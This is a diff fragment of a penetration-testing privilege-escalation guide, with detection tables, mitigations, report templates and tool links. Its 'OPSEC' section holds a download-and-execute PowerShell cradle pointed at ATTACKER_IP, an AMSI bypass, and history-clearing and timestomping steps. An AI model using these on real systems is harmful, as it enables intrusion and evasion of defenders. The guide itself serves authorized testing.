Remove-Item -Path "HKCU:\Software\Classes\ms-settings" -Recurse -Force
|
|
843
|
+
```
|
|
844
|
+
|
|
845
|
+
**Chain Summary:** Domain user (local admin) → UAC bypass (fodhelper) → High integrity shell → Unquoted path → SYSTEM
|
|
846
|
+
|
|
847
|
+
---
|
|
848
|
+
|
|
849
|
+
## OPSEC Considerations
|
|
850
|
+
|
|
851
|
+
### Detection Risks
|
|
852
|
+
|
|
853
|
+
| Technique | Detection Method | Risk Level |
|
|
854
|
+
|---|---|---|
|
|
855
|
+
| WinPEAS/LinPEAS execution | AV signature, behavioral heuristics | HIGH |
|
|
856
|
+
| Mimikatz | LSASS access, AV signature | CRITICAL |
|
|
857
|
+
| GodPotato/PrintSpoofer | Named pipe creation, token duplication events (EID 4672) | HIGH |
|
|
858
|
+
| UAC bypass (fodhelper) | Registry key creation in HKCU\Software\Classes\ms-settings | MEDIUM |
|
|
859
|
+
| Kernel exploits | System crash risk, process anomaly detection | HIGH |
|
|
860
|
+
| New local admin user creation | EID 4720 (user created), EID 4732 (added to group) | CRITICAL |
|
|
861
|
+
| Service binary replacement | File integrity monitoring, service control events | HIGH |
|
|
862
|
+
| Cron script modification | File integrity monitoring (auditd, AIDE) | MEDIUM |
|
|
863
|
+
| SUID exploitation | Process spawning from SUID binary | LOW-MEDIUM |
|
|
864
|
+
|
|
865
|
+
### Mitigation Guidance (For Report)
|
|
866
|
+
|
|
867
|
+
**Windows:**
|
|
868
|
+
- Remove SeImpersonatePrivilege from service accounts where not needed
|
|
869
|
+
- Enable UAC at maximum level and patch
|
|
870
|
+
- Quote all service paths in registry
|
|
871
|
+
- Implement application whitelisting (AppLocker/WDAC)
|
|
872
|
+
- Enable Credential Guard to protect LSASS
|
|
873
|
+
- Audit and remove AlwaysInstallElevated registry keys
|
|
874
|
+
- Use Protected Users security group for privileged accounts
|
|
875
|
+
|
|
876
|
+
**Linux:**
|
|
877
|
+
- Audit SUID binaries: `find / -perm -4000 2>/dev/null` — remove unnecessary ones
|
|
878
|
+
- Use sudoers with specific commands and avoid NOPASSWD
|
|
879
|
+
- Remove LD_PRELOAD from env_keep in sudoers
|
|
880
|
+
- Implement file integrity monitoring (AIDE, Tripwire) on cron scripts
|
|
881
|
+
- Keep kernel patched; monitor CVE feeds for running kernel version
|
|
882
|
+
- Use AppArmor/SELinux profiles for privilege containment
|
|
883
|
+
|
|
884
|
+
### OPSEC Best Practices
|
|
885
|
+
|
|
886
|
+
```bash
|
|
887
|
+
# Use in-memory execution where possible
|
|
888
|
+
# PowerShell (Windows):
|
|
889
|
+
IEX (New-Object Net.WebClient).DownloadString("http://ATTACKER_IP:8080/script.ps1")
|
|
890
|
+
|
|
891
|
+
# Avoid writing to disk when possible
|
|
892
|
+
# Use LOLBins (Living Off the Land Binaries)
|
|
893
|
+
|
|
894
|
+
# Clear command history (Linux):
|
|
895
|
+
history -c && history -w
|
|
896
|
+
unset HISTFILE
|
|
897
|
+
export HISTSIZE=0
|
|
898
|
+
|
|
899
|
+
# PowerShell history location (clear it):
|
|
900
|
+
Remove-Item (Get-PSReadlineOption).HistorySavePath -ErrorAction SilentlyContinue
|
|
901
|
+
|
|
902
|
+
# Use AMSI bypass before running scripts (Windows):
|
|
903
|
+
# [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
|
|
904
|
+
|
|
905
|
+
# Timestomp files after writing (match legitimate files):
|
|
906
|
+
# Linux:
|
|
907
|
+
touch -r /bin/bash /tmp/exploit
|
|
908
|
+
|
|
909
|
+
# Windows:
|
|
910
|
+
# Use Metasploit timestomp module or custom PowerShell
|
|
911
|
+
|
|
912
|
+
# Encrypt C2 traffic — use HTTPS listeners, not plain HTTP/nc
|
|
913
|
+
|
|
914
|
+
# Clean up tools after use
|
|
915
|
+
Remove-Item C:\Temp\winpeas.exe -Force
|
|
916
|
+
rm -f /tmp/linpeas.sh /tmp/les.sh
|
|
917
|
+
```
|
|
918
|
+
|
|
919
|
+
---
|
|
920
|
+
|
|
921
|
+
## Output and Documentation Instructions
|
|
922
|
+
|
|
923
|
+
### During Exploitation — Capture Evidence
|
|
924
|
+
|
|
925
|
+
```bash
|
|
926
|
+
# Linux — log all commands with timestamps
|
|
927
|
+
script -a /tmp/privesc_session.log
|
|
928
|
+
# Or use:
|
|
929
|
+
exec > >(tee -a /tmp/privesc_log.txt) 2>&1
|
|
930
|
+
|
|
931
|
+
# Windows — log PowerShell session
|
|
932
|
+
Start-Transcript -Path C:\Temp\privesc_log.txt -Append
|
|
933
|
+
```
|
|
934
|
+
|
|
935
|
+
### Mandatory Screenshots
|
|
936
|
+
|
|
937
|
+
1. Initial shell showing low-privilege user (`whoami`, `id`)
|
|
938
|
+
2. Vulnerability identified (WinPEAS/LinPEAS output section, or manual discovery)
|
|
939
|
+
3. Exploit command executed
|
|
940
|
+
4. Elevated shell with `whoami` / `id` showing SYSTEM or root
|
|
941
|
+
5. Proof file read (e.g., `type C:\Users\Administrator\Desktop\proof.txt` or `cat /root/root.txt`)
|
|
942
|
+
|
|
943
|
+
### Report Documentation Template
|
|
944
|
+
|
|
945
|
+
```markdown
|
|
946
|
+
## Privilege Escalation Finding
|
|
947
|
+
|
|
948
|
+
**Severity:** Critical / High
|
|
949
|
+
**Host:** [HOSTNAME] ([IP])
|
|
950
|
+
**Initial Access:** [www-data / IIS AppPool / domain\user]
|
|
951
|
+
**Escalated To:** SYSTEM / root
|
|
952
|
+
|
|
953
|
+
### Vulnerability
|
|
954
|
+
[Description of the misconfiguration or vulnerability]
|
|
955
|
+
|
|
956
|
+
### Evidence
|
|
957
|
+
- Screenshot 1: [Low-privilege shell]
|
|
958
|
+
- Screenshot 2: [Vulnerability identified]
|
|
959
|
+
- Screenshot 3: [Exploit execution]
|
|
960
|
+
- Screenshot 4: [Elevated access confirmed]
|
|
961
|
+
|
|
962
|
+
### Commands Used
|
|
963
|
+
[Step-by-step commands with output]
|
|
964
|
+
|
|
965
|
+
### Business Impact
|
|
966
|
+
[What an attacker can do with SYSTEM/root access]
|
|
967
|
+
|
|
968
|
+
### Remediation
|
|
969
|
+
[Specific remediation steps]
|
|
970
|
+
```
|
|
971
|
+
|
|
972
|
+
### Organizing Findings Per Host
|
|
973
|
+
|
|
974
|
+
```
|
|
975
|
+
findings/
|
|
976
|
+
└── HOST_IP/
|
|
977
|
+
├── 01_initial_shell.png
|
|
978
|
+
├── 02_winpeas_output.txt
|
|
979
|
+
├── 03_vulnerability_identified.png
|
|
980
|
+
├── 04_exploit_executed.png
|
|
981
|
+
├── 05_system_shell.png
|
|
982
|
+
├── 06_proof.txt
|
|
983
|
+
└── commands.log
|
|
984
|
+
```
|
|
985
|
+
|
|
986
|
+
---
|
|
987
|
+
|
|
988
|
+
## Resources
|
|
989
|
+
|
|
990
|
+
### Tools
|
|
991
|
+
|
|
992
|
+
| Tool | URL | Use |
|
|
993
|
+
|---|---|---|
|
|
994
|
+
| PEASS-ng (WinPEAS/LinPEAS) | https://github.com/carlospolop/PEASS-ng | Automated enumeration |
|
|
995
|
+
| PrivescCheck | https://github.com/itm4n/PrivescCheck | Windows PrivEsc check |
|
|
996
|
+
| PowerSploit | https://github.com/PowerShellMafia/PowerSploit | PowerShell post-exploitation |
|
|
997
|
+
| GodPotato | https://github.com/BeichenDream/GodPotato | SeImpersonate → SYSTEM |
|
|
998
|
+
| PrintSpoofer | https://github.com/itm4n/PrintSpoofer | SeImpersonate → SYSTEM |
|
|
999
|
+
| JuicyPotato | https://github.com/ohpe/juicy-potato | Token impersonation (older OS) |
|
|
1000
|
+
| linux-exploit-suggester | https://github.com/The-Z-Labs/linux-exploit-suggester | Kernel exploit enumeration |
|
|
1001
|
+
| GTFOBins | https://gtfobins.github.io | SUID/sudo abuse reference |
|
|
1002
|
+
| LOLBAS | https://lolbas-project.github.io | Windows LOLBins reference |
|
|
1003
|
+
| UACME | https://github.com/hfiref0x/UACME | UAC bypass collection |
|
|
1004
|
+
| Mimikatz | https://github.com/gentilkiwi/mimikatz | Credential harvesting |
|
|
1005
|
+
| PwnKit exploit | https://github.com/ly4k/PwnKit | CVE-2021-4034 pkexec |
|
|
1006
|
+
| DirtyPipe exploits | https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits | CVE-2022-0847 |
|
|
1007
|
+
|
|
1008
|
+
### Learning References
|
|
1009
|
+
|
|
1010
|
+
| Resource | URL |
|
|
1011
|
+
|---|---|
|
|
1012
|
+
| HackTricks Windows PrivEsc | https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation |
|
|
1013
|
+
| HackTricks Linux PrivEsc | https://book.hacktricks.xyz/linux-hardening/privilege-escalation |
|
|
1014
|
+
| PayloadsAllTheThings Windows | https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md |
|
|
1015
|
+
| PayloadsAllTheThings Linux | https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md |
|
|
1016
|
+
| TCM Security PrivEsc Course | https://academy.tcm-sec.com/p/windows-privilege-escalation-for-beginners |
|
|
1017
|
+
| Exploit-DB | https://www.exploit-db.com |
|
|
1018
|
+
| CVE Details | https://www.cvedetails.com |
|
|
1019
|
+
|
|
1020
|
+
### CLSID Lists for JuicyPotato
|
|
1021
|
+
|
|
1022
|
+
| OS | CLSID List |
|
|
1023
|
+
|---|---|
|
|
1024
|
+
| Windows 7 / Server 2008 | https://github.com/ohpe/juicy-potato/tree/master/CLSID/Windows_7_Enterprise |
|
|
1025
|
+
| Windows 10 | https://github.com/ohpe/juicy-potato/tree/master/CLSID/Windows_10_Enterprise |
|
|
1026
|
+
| Server 2016 | https://github.com/ohpe/juicy-potato/tree/master/CLSID/Windows_Server_2016_Standard |
|
|
1027
|
+
| Server 2019 | Use GodPotato or PrintSpoofer instead |
|